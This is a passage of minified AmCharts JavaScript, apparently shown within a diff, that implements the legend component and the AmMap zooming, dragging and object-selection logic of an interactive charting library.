AmCharts.adjustLuminosity=function(a,b){a=String(a).replace(/[^0-9a-f]/gi,"");6>a.length&&(a=String(a[0])+String(a[0])+String(a[1])+String(a[1])+String(a[2])+String(a[2]));b=b||0;var c="#",d,f;for(f=0;3>f;f++)d=parseInt(a.substr(2*f,2),16),d=Math.round(Math.min(Math.max(0,d+d*b),255)).toString(16),c+=("00"+d).substr(d.length);return c};AmCharts.AmLegend=AmCharts.Class({construct:function(a){this.cname="AmLegend";this.createEvents("rollOverMarker","rollOverItem","rollOutMarker","rollOutItem","showItem","hideItem","clickMarker","rollOverItem","rollOutItem","clickLabel");this.position="bottom";this.borderColor=this.color="#000000";this.borderAlpha=0;this.markerLabelGap=5;this.verticalGap=10;this.align="left";this.horizontalGap=0;this.spacing=10;this.markerDisabledColor="#AAB3B3";this.markerType="square";this.markerSize=16;this.markerBorderThickness=
|
115 |
+
this.markerBorderAlpha=1;this.marginBottom=this.marginTop=0;this.marginLeft=this.marginRight=20;this.autoMargins=!0;this.valueWidth=50;this.switchable=!0;this.switchType="x";this.switchColor="#FFFFFF";this.rollOverColor="#CC0000";this.reversedOrder=!1;this.labelText="[[title]]";this.valueText="[[value]]";this.useMarkerColorForLabels=!1;this.rollOverGraphAlpha=1;this.textClickEnabled=!1;this.equalWidths=!0;this.dateFormat="DD-MM-YYYY";this.backgroundColor="#FFFFFF";this.backgroundAlpha=0;this.useGraphSettings=
|
116 |
+
!1;this.showEntries=!0;AmCharts.applyTheme(this,a,this.cname)},setData:function(a){this.legendData=a;this.invalidateSize()},invalidateSize:function(){this.destroy();this.entries=[];this.valueLabels=[];(AmCharts.ifArray(this.legendData)||AmCharts.ifArray(this.data))&&this.drawLegend()},drawLegend:function(){var a=this.chart,b=this.position,c=this.width,d=a.divRealWidth,f=a.divRealHeight,e=this.div,g=this.legendData;this.data&&(g=this.data);isNaN(this.fontSize)&&(this.fontSize=a.fontSize);if("right"==
|
117 |
+
b||"left"==b)this.maxColumns=1,this.autoMargins&&(this.marginLeft=this.marginRight=10);else if(this.autoMargins){this.marginRight=a.marginRight;this.marginLeft=a.marginLeft;var h=a.autoMarginOffset;"bottom"==b?(this.marginBottom=h,this.marginTop=0):(this.marginTop=h,this.marginBottom=0)}var k;void 0!==c?k=AmCharts.toCoordinate(c,d):"right"!=b&&"left"!=b&&(k=a.realWidth);"outside"==b?(k=e.offsetWidth,f=e.offsetHeight,e.clientHeight&&(k=e.clientWidth,f=e.clientHeight)):(isNaN(k)||(e.style.width=k+"px"),
|
118 |
+
e.className="amChartsLegend");this.divWidth=k;this.container=new AmCharts.AmDraw(e,k,f,a);this.lx=0;this.ly=8;b=this.markerSize;b>this.fontSize&&(this.ly=b/2-1);0<b&&(this.lx+=b+this.markerLabelGap);this.titleWidth=0;if(b=this.title)a=AmCharts.text(this.container,b,this.color,a.fontFamily,this.fontSize,"start",!0),a.translate(this.marginLeft,this.marginTop+this.verticalGap+this.ly+1),a=a.getBBox(),this.titleWidth=a.width+15,this.titleHeight=a.height+6;this.index=this.maxLabelWidth=0;if(this.showEntries){for(a=
|
119 |
+
0;a<g.length;a++)this.createEntry(g[a]);for(a=this.index=0;a<g.length;a++)this.createValue(g[a])}this.arrangeEntries();this.updateValues()},arrangeEntries:function(){var a=this.position,b=this.marginLeft+this.titleWidth,c=this.marginRight,d=this.marginTop,f=this.marginBottom,e=this.horizontalGap,g=this.div,h=this.divWidth,k=this.maxColumns,l=this.verticalGap,m=this.spacing,n=h-c-b,q=0,p=0,A=this.container,y=A.set();this.set=y;A=A.set();y.push(A);var s=this.entries,r,x;for(x=0;x<s.length;x++){r=s[x].getBBox();
|
120 |
+
var u=r.width;u>q&&(q=u);r=r.height;r>p&&(p=r)}var w=u=0,t=e;for(x=0;x<s.length;x++){var z=s[x];this.reversedOrder&&(z=s[s.length-x-1]);r=z.getBBox();var v;this.equalWidths?v=e+w*(q+m+this.markerLabelGap):(v=t,t=t+r.width+e+m);v+r.width>n&&0<x&&0!==w&&(u++,w=0,v=e,t=v+r.width+e+m);z.translate(v,(p+l)*u);w++;!isNaN(k)&&w>=k&&(w=0,u++);A.push(z)}r=A.getBBox();k=r.height+2*l-1;"left"==a||"right"==a?(h=r.width+2*e,g.style.width=h+b+c+"px"):h=h-b-c-1;c=AmCharts.polygon(this.container,[0,h,h,0],[0,0,k,
|
121 |
+
k],this.backgroundColor,this.backgroundAlpha,1,this.borderColor,this.borderAlpha);y.push(c);y.translate(b,d);c.toBack();b=e;if("top"==a||"bottom"==a||"absolute"==a||"outside"==a)"center"==this.align?b=e+(h-r.width)/2:"right"==this.align&&(b=e+h-r.width);A.translate(b,l+1);this.titleHeight>k&&(k=this.titleHeight);a=k+d+f+1;0>a&&(a=0);g.style.height=Math.round(a)+"px"},createEntry:function(a){if(!1!==a.visibleInLegend){var b=this.chart,c=a.markerType;c||(c=this.markerType);var d=a.color,f=a.alpha;a.legendKeyColor&&
|
122 |
+
(d=a.legendKeyColor());a.legendKeyAlpha&&(f=a.legendKeyAlpha());var e;!0===a.hidden&&(e=d=this.markerDisabledColor);var g=a.pattern,h=a.customMarker;h||(h=this.customMarker);var k=this.container,l=this.markerSize,m=0,n=0,q=l/2;if(this.useGraphSettings)if(m=a.type,this.switchType=void 0,"line"==m||"step"==m||"smoothedLine"==m||"ohlc"==m)g=k.set(),a.hidden||(d=a.lineColorR,e=a.bulletBorderColorR),n=AmCharts.line(k,[0,2*l],[l/2,l/2],d,a.lineAlpha,a.lineThickness,a.dashLength),g.push(n),a.bullet&&(a.hidden||
|
123 |
+
(d=a.bulletColorR),n=AmCharts.bullet(k,a.bullet,a.bulletSize,d,a.bulletAlpha,a.bulletBorderThickness,e,a.bulletBorderAlpha))&&(n.translate(l+1,l/2),g.push(n)),q=0,m=l,n=l/3;else{var p;a.getGradRotation&&(p=a.getGradRotation());m=a.fillColorsR;!0===a.hidden&&(m=d);if(g=this.createMarker("rectangle",m,a.fillAlphas,a.lineThickness,d,a.lineAlpha,p,g))q=l,g.translate(q,l/2);m=l}else h?(b.path&&(h=b.path+h),g=k.image(h,0,0,l,l)):(g=this.createMarker(c,d,f,void 0,void 0,void 0,void 0,g))&&g.translate(l/
|
124 |
+
2,l/2);this.addListeners(g,a);k=k.set([g]);this.switchable&&k.setAttr("cursor","pointer");(e=this.switchType)&&"none"!=e&&("x"==e?(p=this.createX(),p.translate(l/2,l/2)):p=this.createV(),p.dItem=a,!0!==a.hidden?"x"==e?p.hide():p.show():"x"!=e&&p.hide(),this.switchable||p.hide(),this.addListeners(p,a),a.legendSwitch=p,k.push(p));e=this.color;a.showBalloon&&this.textClickEnabled&&void 0!==this.selectedColor&&(e=this.selectedColor);this.useMarkerColorForLabels&&(e=d);!0===a.hidden&&(e=this.markerDisabledColor);
|
125 |
+
d=AmCharts.massReplace(this.labelText,{"[[title]]":a.title});p=this.fontSize;g&&l<=p&&g.translate(q,l/2+this.ly-p/2+(p+2-l)/2-n);var A;d&&(d=AmCharts.fixBrakes(d),a.legendTextReal=d,A=AmCharts.text(this.container,d,e,b.fontFamily,p,"start"),A.translate(this.lx+m,this.ly),k.push(A),b=A.getBBox().width,this.maxLabelWidth<b&&(this.maxLabelWidth=b));this.entries[this.index]=k;a.legendEntry=this.entries[this.index];a.legendLabel=A;this.index++}},addListeners:function(a,b){var c=this;a&&a.mouseover(function(){c.rollOverMarker(b)}).mouseout(function(){c.rollOutMarker(b)}).click(function(){c.clickMarker(b)})},
|
126 |
+
rollOverMarker:function(a){this.switchable&&this.dispatch("rollOverMarker",a);this.dispatch("rollOverItem",a)},rollOutMarker:function(a){this.switchable&&this.dispatch("rollOutMarker",a);this.dispatch("rollOutItem",a)},clickMarker:function(a){this.switchable&&(!0===a.hidden?this.dispatch("showItem",a):this.dispatch("hideItem",a));this.dispatch("clickMarker",a)},rollOverLabel:function(a){a.hidden||(this.textClickEnabled&&a.legendLabel&&a.legendLabel.attr({fill:this.rollOverColor}),this.dispatch("rollOverItem",
|
127 |
+
a))},rollOutLabel:function(a){if(!a.hidden){if(this.textClickEnabled&&a.legendLabel){var b=this.color;void 0!==this.selectedColor&&a.showBalloon&&(b=this.selectedColor);this.useMarkerColorForLabels&&(b=a.lineColor,void 0===b&&(b=a.color));a.legendLabel.attr({fill:b})}this.dispatch("rollOutItem",a)}},clickLabel:function(a){this.textClickEnabled?a.hidden||this.dispatch("clickLabel",a):this.switchable&&(!0===a.hidden?this.dispatch("showItem",a):this.dispatch("hideItem",a))},dispatch:function(a,b){this.fire(a,
|
128 |
+
{type:a,dataItem:b,target:this,chart:this.chart})},createValue:function(a){var b=this,c=b.fontSize;if(!1!==a.visibleInLegend){var d=b.maxLabelWidth;b.equalWidths||(b.valueAlign="left");"left"==b.valueAlign&&(d=a.legendEntry.getBBox().width);var f=d;if(b.valueText&&0<b.valueWidth){var e=b.color;b.useMarkerColorForValues&&(e=a.color,a.legendKeyColor&&(e=a.legendKeyColor()));!0===a.hidden&&(e=b.markerDisabledColor);var g=b.valueText,d=d+b.lx+b.markerLabelGap+b.valueWidth,h="end";"left"==b.valueAlign&&
|
129 |
+
(d-=b.valueWidth,h="start");e=AmCharts.text(b.container,g,e,b.chart.fontFamily,c,h);e.translate(d,b.ly);b.entries[b.index].push(e);f+=b.valueWidth+2*b.markerLabelGap;e.dItem=a;b.valueLabels.push(e)}b.index++;e=b.markerSize;e<c+7&&(e=c+7,AmCharts.VML&&(e+=3));c=b.container.rect(b.markerSize,0,f,e,0,0).attr({stroke:"none",fill:"#ffffff","fill-opacity":0.005});c.dItem=a;b.entries[b.index-1].push(c);c.mouseover(function(){b.rollOverLabel(a)}).mouseout(function(){b.rollOutLabel(a)}).click(function(){b.clickLabel(a)})}},
|
130 |
+
createV:function(){var a=this.markerSize;return AmCharts.polygon(this.container,[a/5,a/2,a-a/5,a/2],[a/3,a-a/5,a/5,a/1.7],this.switchColor)},createX:function(){var a=(this.markerSize-4)/2,b={stroke:this.switchColor,"stroke-width":3},c=this.container,d=AmCharts.line(c,[-a,a],[-a,a]).attr(b),a=AmCharts.line(c,[-a,a],[a,-a]).attr(b);return this.container.set([d,a])},createMarker:function(a,b,c,d,f,e,g,h){var k=this.markerSize,l=this.container;f||(f=this.markerBorderColor);f||(f=b);isNaN(d)&&(d=this.markerBorderThickness);
|
131 |
+
isNaN(e)&&(e=this.markerBorderAlpha);return AmCharts.bullet(l,a,k,b,c,d,f,e,k,g,h)},validateNow:function(){this.invalidateSize()},updateValues:function(){var a=this.valueLabels,b=this.chart,c,d=this.data;for(c=0;c<a.length;c++){var f=a[c],e=f.dItem,g=" ";if(d)e.value?f.text(e.value):f.text("");else{if(void 0!==e.type){var h=e.currentDataItem,k=this.periodValueText;e.legendPeriodValueText&&(k=e.legendPeriodValueText);h?(g=this.valueText,e.legendValueText&&(g=e.legendValueText),g=b.formatString(g,h)):
|
132 |
+
k&&(g=b.formatPeriodString(k,e))}else g=b.formatString(this.valueText,e);(h=e.legendLabel)&&h.text(e.legendTextReal);f.text(g)}}},renderFix:function(){if(!AmCharts.VML){var a=this.container;a&&a.renderFix()}},destroy:function(){this.div.innerHTML="";AmCharts.remove(this.set)}});AmCharts.AmMap=AmCharts.Class({inherits:AmCharts.AmChart,construct:function(a){this.cname="AmMap";this.type="map";this.theme=a;this.version="3.8.13";this.svgNotSupported="This browser doesn't support SVG. Use Chrome, Firefox, Internet Explorer 9 or later.";this.createEvents("rollOverMapObject","rollOutMapObject","clickMapObject","selectedObjectChanged","homeButtonClicked","zoomCompleted","dragCompleted","positionChanged","writeDevInfo","click");this.zoomDuration=1;this.zoomControl=new AmCharts.ZoomControl(a);
|
133 |
+
this.fitMapToContainer=!0;this.mouseWheelZoomEnabled=this.backgroundZoomsToTop=!1;this.allowClickOnSelectedObject=this.useHandCursorOnClickableOjects=this.showBalloonOnSelectedObject=!0;this.showObjectsAfterZoom=this.wheelBusy=!1;this.zoomOnDoubleClick=this.useObjectColorForBalloon=!0;this.allowMultipleDescriptionWindows=!1;this.dragMap=this.centerMap=this.linesAboveImages=!0;this.colorSteps=5;this.showAreasInList=!0;this.showLinesInList=this.showImagesInList=!1;this.areasProcessor=new AmCharts.AreasProcessor(this);
|
134 |
+
this.areasSettings=new AmCharts.AreasSettings(a);this.imagesProcessor=new AmCharts.ImagesProcessor(this);this.imagesSettings=new AmCharts.ImagesSettings(a);this.linesProcessor=new AmCharts.LinesProcessor(this);this.linesSettings=new AmCharts.LinesSettings(a);this.showDescriptionOnHover=!1;AmCharts.AmMap.base.construct.call(this,a);this.creditsPosition="bottom-left";this.product="ammap";this.areasClasses={};AmCharts.applyTheme(this,a,this.cname)},initChart:function(){this.zoomInstantly=!0;if(this.sizeChanged&&
|
135 |
+
AmCharts.hasSVG&&this.chartCreated){this.container.setSize(this.realWidth,this.realHeight);this.resizeMap();this.drawBackground();this.redrawLabels();this.drawTitles();this.processObjects();this.rescaleObjects();var a=this.container;this.zoomControl.init(this,a);this.drawBg();var b=this.smallMap;b&&b.init(this,a);(b=this.valueLegend)&&b.init(this,a);this.sizeChanged=!1;this.zoomToLongLat(this.zLevelTemp,this.zLongTemp,this.zLatTemp,!0);this.previousWidth=this.realWidth;this.previousHeight=this.realHeight;
|
136 |
+
this.updateSmallMap();this.linkSet.toFront()}else(AmCharts.AmMap.base.initChart.call(this),AmCharts.hasSVG)?(this.dataChanged&&(this.parseData(),this.dispatchDataUpdated=!0,this.dataChanged=!1,a=this.legend)&&(a.position="absolute",a.invalidateSize()),this.mouseWheelZoomEnabled&&this.addMouseWheel(),this.createDescriptionsDiv(),this.svgAreas=[],this.svgAreasById={},this.drawChart()):(document.createTextNode(this.svgNotSupported),this.chartDiv.style.textAlign="",this.chartDiv.setAttribute("class",
|
137 |
+
"ammapAlert"),this.chartDiv.innerHTML=this.svgNotSupported,clearInterval(this.interval))},invalidateSize:function(){var a=this.zoomLongitude();isNaN(a)||(this.zLongTemp=a);a=this.zoomLatitude();isNaN(a)||(this.zLatTemp=a);a=this.zoomLevel();isNaN(a)||(this.zLevelTemp=a);AmCharts.AmMap.base.invalidateSize.call(this)},handleWheelReal:function(a){if(!this.wheelBusy){this.stopAnimation();var b=this.zoomLevel(),c=this.zoomControl,d=c.zoomFactor;this.wheelBusy=!0;a=AmCharts.fitToBounds(0<a?b*d:b/d,c.minZoomLevel,
|
138 |
+
c.maxZoomLevel);d=this.mouseX/this.mapWidth;c=this.mouseY/this.mapHeight;d=(this.zoomX()-d)*(a/b)+d;b=(this.zoomY()-c)*(a/b)+c;this.zoomTo(a,d,b)}},addLegend:function(a,b){a.position="absolute";a.autoMargins=!1;a.valueWidth=0;a.switchable=!1;AmCharts.AmMap.base.addLegend.call(this,a,b);return a},handleLegendEvent:function(){},createDescriptionsDiv:function(){if(!this.descriptionsDiv){var a=document.createElement("div");a.style.position="absolute";a.style.left=AmCharts.findPosX(this.div)+"px";a.style.top=
|
139 |
+
AmCharts.findPosY(this.div)+"px";this.descriptionsDiv=a}this.div.appendChild(this.descriptionsDiv)},drawChart:function(){AmCharts.AmMap.base.drawChart.call(this);var a=this.dataProvider;this.dataProvider=a=AmCharts.extend(a,new AmCharts.MapData,!0);this.areasSettings=AmCharts.processObject(this.areasSettings,AmCharts.AreasSettings,this.theme);this.imagesSettings=AmCharts.processObject(this.imagesSettings,AmCharts.ImagesSettings,this.theme);this.linesSettings=AmCharts.processObject(this.linesSettings,
|
140 |
+
AmCharts.LinesSettings,this.theme);this.mapContainer=this.container.set();this.graphsSet.push(this.mapContainer);var b;a.map&&(b=AmCharts.maps[a.map]);a.mapVar&&(b=a.mapVar);b?(this.svgData=b.svg,this.getBounds(),this.buildEverything()):(a=a.mapURL)&&this.loadXml(a);this.balloonsSet.toFront()},drawBg:function(){var a=this;AmCharts.remove(a.bgSet);var b=AmCharts.rect(a.container,a.realWidth,a.realHeight,"#000",0.001);b.click(function(){a.handleBackgroundClick()});a.bgSet=b;a.set.push(b)},buildEverything:function(){var a=
|
141 |
+
this;if(0<a.realWidth&&0<a.realHeight){var b=a.container;a.zoomControl=AmCharts.processObject(a.zoomControl,AmCharts.ZoomControl,a.theme);a.zoomControl.init(this,b);a.drawBg();a.buildSVGMap();var c=a.smallMap;c&&(a.smallMap=AmCharts.processObject(a.smallMap,AmCharts.SmallMap,a.theme),c=a.smallMap,c.init(a,b));c=a.dataProvider;isNaN(c.zoomX)&&isNaN(c.zoomY)&&isNaN(c.zoomLatitude)&&isNaN(c.zoomLongitude)&&(a.centerMap?(c.zoomLatitude=a.coordinateToLatitude(a.mapHeight/2),c.zoomLongitude=a.coordinateToLongitude(a.mapWidth/
|
142 |
+
2)):(c.zoomX=0,c.zoomY=0),a.zoomInstantly=!0);a.selectObject(a.dataProvider);a.processAreas();if(c=a.valueLegend)c=AmCharts.processObject(c,AmCharts.ValueLegend,a.theme),a.valueLegend=c,c.init(a,b);a.objectList&&(a.objectList=AmCharts.processObject(a.objectList,AmCharts.ObjectList),b=a.objectList)&&(a.clearObjectList(),b.init(a));clearInterval(a.mapInterval);a.mapInterval=setInterval(function(){a.update.call(a)},AmCharts.updateRate);a.dispDUpd();a.linkSet.toFront();a.chartCreated=!0}else a.cleanChart()},
|
143 |
+
hideGroup:function(a){this.showHideGroup(a,!1)},showGroup:function(a){this.showHideGroup(a,!0)},showHideGroup:function(a,b){this.showHideReal(this.imagesProcessor.allObjects,a,b);this.showHideReal(this.areasProcessor.allObjects,a,b);this.showHideReal(this.linesProcessor.allObjects,a,b)},showHideReal:function(a,b,c){var d;for(d=0;d<a.length;d++){var f=a[d];f.groupId==b&&(c?f.displayObject.show():f.displayObject.hide())}},update:function(){this.zoomControl.update()},animateMap:function(){var a=this;
|
144 |
+
a.totalFrames=1E3*a.zoomDuration/AmCharts.updateRate;a.totalFrames+=1;a.frame=0;a.tweenPercent=0;setTimeout(function(){a.updateSize.call(a)},AmCharts.updateRate)},updateSize:function(){var a=this,b=a.totalFrames;a.preventHover=!0;a.frame<=b?(a.frame++,b=AmCharts.easeOutSine(0,a.frame,0,1,b),1<=b?(b=1,a.preventHover=!1,a.wheelBusy=!1):setTimeout(function(){a.updateSize.call(a)},AmCharts.updateRate),0.8<b&&(a.preventHover=!1)):(b=1,a.preventHover=!1,a.wheelBusy=!1);a.tweenPercent=b;a.rescaleMapAndObjects()},
|
145 |
+
rescaleMapAndObjects:function(){var a=this.initialScale,b=this.initialX,c=this.initialY,d=this.tweenPercent,a=a+(this.finalScale-a)*d;this.mapContainer.translate(b+(this.finalX-b)*d,c+(this.finalY-c)*d,a);if(this.areasSettings.adjustOutlineThickness)for(b=this.dataProvider.areas,c=0;c<b.length;c++){var f=b[c],e=f.displayObject;e&&e.setAttr("stroke-width",f.outlineThicknessReal/a)}this.rescaleObjects();this.positionChanged();this.updateSmallMap();1==d&&(d={type:"zoomCompleted",chart:this},this.fire(d.type,
|
146 |
+
d))},updateSmallMap:function(){this.smallMap&&this.smallMap.update()},rescaleObjects:function(){var a=this.mapContainer.scale,b=this.imagesProcessor.objectsToResize,c;for(c=0;c<b.length;c++){var d=b[c].image;d.translate(d.x,d.y,b[c].scale/a,!0)}b=this.linesProcessor;if(d=b.linesToResize)for(c=0;c<d.length;c++){var f=d[c];f.line.setAttr("stroke-width",f.thickness/a)}b=b.objectsToResize;for(c=0;c<b.length;c++)d=b[c],d.translate(d.x,d.y,1/a)},handleTouchStart:function(a){this.handleMouseMove(a);this.handleMouseDown(a)},
|
147 |
+
handleTouchEnd:function(a){this.previousDistance=NaN;this.handleReleaseOutside(a)},handleMouseDown:function(a){AmCharts.resetMouseOver();this.mouseIsOver=!0;if(this.chartCreated&&!this.preventHover&&(this.dragMap&&(this.stopAnimation(),this.isDragging=!0,this.mapContainerClickX=this.mapContainer.x,this.mapContainerClickY=this.mapContainer.y,this.panEventsEnabled||a&&a.preventDefault&&a.preventDefault()),a||(a=window.event),a.shiftKey&&!0===this.developerMode&&this.getDevInfo(),a&&a.touches)){var b=
|
148 |
+
this.mouseX,c=this.mouseY,d=a.touches.item(1);d&&(a=d.pageX-AmCharts.findPosX(this.div),d=d.pageY-AmCharts.findPosY(this.div),this.middleXP=(b+(a-b)/2)/this.realWidth,this.middleYP=(c+(d-c)/2)/this.realHeight)}},stopDrag:function(){this.isDragging&&(this.isDragging=!1)},handleReleaseOutside:function(){if(AmCharts.isModern&&!this.preventHover){this.stopDrag();this.zoomControl&&this.zoomControl.draggerUp();this.mapWasDragged=!1;var a=this.mapContainer,b=this.mapContainerClickX,c=this.mapContainerClickY;
|
149 |
isNaN(b)||isNaN(c)||!(2<Math.abs(a.x-b)||Math.abs(a.y-c))||(this.mapWasDragged=!0,a={type:"dragCompleted",zoomX:this.zoomX(),zoomY:this.zoomY(),zoomLevel:this.zoomLevel(),chart:this},this.fire(a.type,a));!this.mouseIsOver||this.mapWasDragged||this.skipClick||(a={type:"click",x:this.mouseX,y:this.mouseY,chart:this},this.fire(a.type,a),this.skipClick=!1);this.mapContainerClickY=this.mapContainerClickX=NaN;this.objectWasClicked=!1;this.zoomOnDoubleClick&&this.mouseIsOver&&(a=(new Date).getTime(),200>
|
150 |
+
a-this.previousClickTime&&20<a-this.previousClickTime&&this.doDoubleClickZoom(),this.previousClickTime=a)}},handleTouchMove:function(a){this.handleMouseMove(a)},resetPinch:function(){this.mapWasPinched=!1},handleMouseMove:function(a){var b=this;AmCharts.AmMap.base.handleMouseMove.call(b,a);var c=b.previuosMouseX,d=b.previuosMouseY,f=b.mouseX,e=b.mouseY,g=b.zoomControl;isNaN(c)&&(c=f);isNaN(d)&&(d=e);b.mouse2X=NaN;b.mouse2Y=NaN;if(a&&a.touches){var h=a.touches.item(1);h&&(b.mouse2X=h.pageX-AmCharts.findPosX(b.div),
|
151 |
+
b.mouse2Y=h.pageY-AmCharts.findPosY(b.div))}var h=b.mapContainer,k=b.mouse2X,l=b.mouse2Y;b.pinchTO&&clearTimeout(b.pinchTO);b.pinchTO=setTimeout(function(){b.resetPinch.call(b)},1E3);if(!isNaN(k)){b.stopDrag();a.preventDefault&&a.preventDefault();var k=Math.sqrt(Math.pow(k-f,2)+Math.pow(l-e,2)),m=b.previousDistance,l=Math.max(b.realWidth,b.realHeight);5>Math.abs(m-k)&&(b.isDragging=!0);if(!isNaN(m)){var n=5*Math.abs(m-k)/l,l=h.scale,l=AmCharts.fitToBounds(m<k?l+l*n:l-l*n,g.minZoomLevel,g.maxZoomLevel),
|
152 |
+
g=b.zoomLevel(),q=b.middleXP,m=b.middleYP,n=b.realHeight/b.mapHeight,p=b.realWidth/b.mapWidth,q=(b.zoomX()-q*p)*(l/g)+q*p,m=(b.zoomY()-m*n)*(l/g)+m*n;0.1<Math.abs(l-g)&&(b.zoomTo(l,q,m,!0),b.mapWasPinched=!0,clearTimeout(b.pinchTO))}b.previousDistance=k}b.isDragging&&(b.hideBalloon(),b.positionChanged(),h.translate(h.x+(f-c),h.y+(e-d),h.scale),b.updateSmallMap(),a&&a.preventDefault&&a.preventDefault());b.previuosMouseX=f;b.previuosMouseY=e},selectObject:function(a){var b=this;a||(a=b.dataProvider);
|
153 |
+
a.isOver=!1;var c=a.linkToObject;"string"==typeof c&&(c=b.getObjectById(c));a.useTargetsZoomValues&&c&&(a.zoomX=c.zoomX,a.zoomY=c.zoomY,a.zoomLatitude=c.zoomLatitude,a.zoomLongitude=c.zoomLongitude,a.zoomLevel=c.zoomLevel);var d=b.selectedObject;d&&b.returnInitialColor(d);b.selectedObject=a;var f=!1,e;"MapArea"==a.objectType&&(a.autoZoomReal&&(f=!0),e=b.areasSettings.selectedOutlineColor);if(c&&!f&&("string"==typeof c&&(c=b.getObjectById(c)),isNaN(a.zoomLevel)&&isNaN(a.zoomX)&&isNaN(a.zoomY))){if(b.extendMapData(c))return;
|
154 |
+
b.selectObject(c);return}b.allowMultipleDescriptionWindows||b.closeAllDescriptions();clearTimeout(b.selectedObjectTimeOut);clearTimeout(b.processObjectsTimeOut);c=b.zoomDuration;!f&&isNaN(a.zoomLevel)&&isNaN(a.zoomX)&&isNaN(a.zoomY)?(b.showDescriptionAndGetUrl(),b.processObjects()):(b.selectedObjectTimeOut=setTimeout(function(){b.showDescriptionAndGetUrl.call(b)},1E3*c+200),b.showObjectsAfterZoom?b.processObjectsTimeOut=setTimeout(function(){b.processObjects.call(b)},1E3*c+200):b.processObjects());
|
155 |
+
if(f=a.displayObject){f.toFront();f.setAttr("stroke",a.outlineColorReal);var g=a.selectedColorReal;void 0!==g&&f.setAttr("fill",g);void 0!==e&&f.setAttr("stroke",e);if("MapLine"==a.objectType){var h=a.lineSvg;h&&h.setAttr("stroke",g);var k=a.arrowSvg;k&&(k.setAttr("fill",g),k.setAttr("stroke",g))}if(c=a.imageLabel){var l=a.selectedLabelColorReal;void 0!==l&&c.setAttr("fill",l)}a.selectable||(f.setAttr("cursor","default"),c&&c.setAttr("cursor","default"))}else b.returnInitialColorReal(a);if(f=a.groupId)for(c=
|
156 |
+
b.getGroupById(f),l=0;l<c.length;l++)if(k=c[l],k.isOver=!1,f=k.displayObject)if(h=k.selectedColorReal,void 0!==e&&f.setAttr("stroke",e),void 0!==h?f.setAttr("fill",h):b.returnInitialColor(k),"MapLine"==k.objectType&&((h=k.lineSvg)&&h.setAttr("stroke",g),k=k.arrowSvg))k.setAttr("fill",g),k.setAttr("stroke",g);b.zoomToSelectedObject();d!=a&&(a={type:"selectedObjectChanged",chart:b},b.fire(a.type,a))},returnInitialColor:function(a,b){this.returnInitialColorReal(a);b&&(a.isFirst=!1);var c=a.groupId;if(c){var c=
|
157 |
+
this.getGroupById(c),d;for(d=0;d<c.length;d++)this.returnInitialColorReal(c[d]),b&&(c[d].isFirst=!1)}},closeAllDescriptions:function(){this.descriptionsDiv.innerHTML=""},returnInitialColorReal:function(a){a.isOver=!1;var b=a.displayObject;if(b){b.toPrevious();if("MapImage"==a.objectType){var c=a.tempScale;isNaN(c)||b.translate(b.x,b.y,c,!0);a.tempScale=NaN}c=a.colorReal;if("MapLine"==a.objectType){var d=a.lineSvg;d&&d.setAttr("stroke",c);if(d=a.arrowSvg)d.setAttr("fill",c),d.setAttr("stroke",c)}a.showAsSelected&&
|
158 |
+
(c=a.selectedColorReal);"bubble"==a.type&&(c=void 0);void 0!==c&&b.setAttr("fill",c);(d=a.image)&&d.setAttr("fill",c);b.setAttr("stroke",a.outlineColorReal);"MapArea"==a.objectType&&(c=1,this.areasSettings.adjustOutlineThickness&&(c=this.zoomLevel()),b.setAttr("fill-opacity",a.alphaReal),b.setAttr("stroke-opacity",a.outlineAlphaReal),b.setAttr("stroke-width",a.outlineThicknessReal/c));(c=a.pattern)&&b.pattern(c,this.mapScale);(b=a.imageLabel)&&!a.labelInactive&&b.setAttr("fill",a.labelColorReal)}},
|
159 |
+
zoomToRectangle:function(a,b,c,d){var f=this.realWidth,e=this.realHeight,g=this.mapSet.scale,h=this.zoomControl,f=AmCharts.fitToBounds(c/f>d/e?0.8*f/(c*g):0.8*e/(d*g),h.minZoomLevel,h.maxZoomLevel);this.zoomToMapXY(f,(a+c/2)*g,(b+d/2)*g)},zoomToLatLongRectangle:function(a,b,c,d){var f=this.dataProvider,e=this.zoomControl,g=Math.abs(c-a),h=Math.abs(b-d),k=Math.abs(f.rightLongitude-f.leftLongitude),f=Math.abs(f.topLatitude-f.bottomLatitude),e=AmCharts.fitToBounds(g/k>h/f?0.8*k/g:0.8*f/h,e.minZoomLevel,
|
160 |
+
e.maxZoomLevel);this.zoomToLongLat(e,a+(c-a)/2,d+(b-d)/2)},getGroupById:function(a){var b=[];this.getGroup(this.imagesProcessor.allObjects,a,b);this.getGroup(this.linesProcessor.allObjects,a,b);this.getGroup(this.areasProcessor.allObjects,a,b);return b},zoomToGroup:function(a){a="object"==typeof a?a:this.getGroupById(a);var b,c,d,f,e;for(e=0;e<a.length;e++){var g=a[e].displayObject.getBBox(),h=g.y,k=g.y+g.height,l=g.x,g=g.x+g.width;if(h<b||isNaN(b))b=h;if(k>f||isNaN(f))f=k;if(l<c||isNaN(c))c=l;if(g>
|
161 |
+
d||isNaN(d))d=g}a=this.mapSet.getBBox();c-=a.x;d-=a.x;f-=a.y;b-=a.y;this.zoomToRectangle(c,b,d-c,f-b)},getGroup:function(a,b,c){if(a){var d;for(d=0;d<a.length;d++){var f=a[d];f.groupId==b&&c.push(f)}}},zoomToStageXY:function(a,b,c,d){if(!this.objectWasClicked){var f=this.zoomControl;a=AmCharts.fitToBounds(a,f.minZoomLevel,f.maxZoomLevel);f=this.zoomLevel();c=this.coordinateToLatitude((c-this.mapContainer.y)/f);b=this.coordinateToLongitude((b-this.mapContainer.x)/f);this.zoomToLongLat(a,b,c,d)}},zoomToLongLat:function(a,
|
162 |
+
b,c,d){b=this.longitudeToCoordinate(b);c=this.latitudeToCoordinate(c);this.zoomToMapXY(a,b,c,d)},zoomToMapXY:function(a,b,c,d){var f=this.mapWidth,e=this.mapHeight;this.zoomTo(a,-(b/f)*a+this.realWidth/f/2,-(c/e)*a+this.realHeight/e/2,d)},zoomToObject:function(a){var b=a.zoomLatitude,c=a.zoomLongitude,d=a.zoomLevel,f=this.zoomInstantly,e=a.zoomX,g=a.zoomY,h=this.realWidth,k=this.realHeight;isNaN(d)||(isNaN(b)||isNaN(c)?this.zoomTo(d,e,g,f):this.zoomToLongLat(d,c,b,f));this.zoomInstantly=!1;"MapImage"==
|
163 |
+
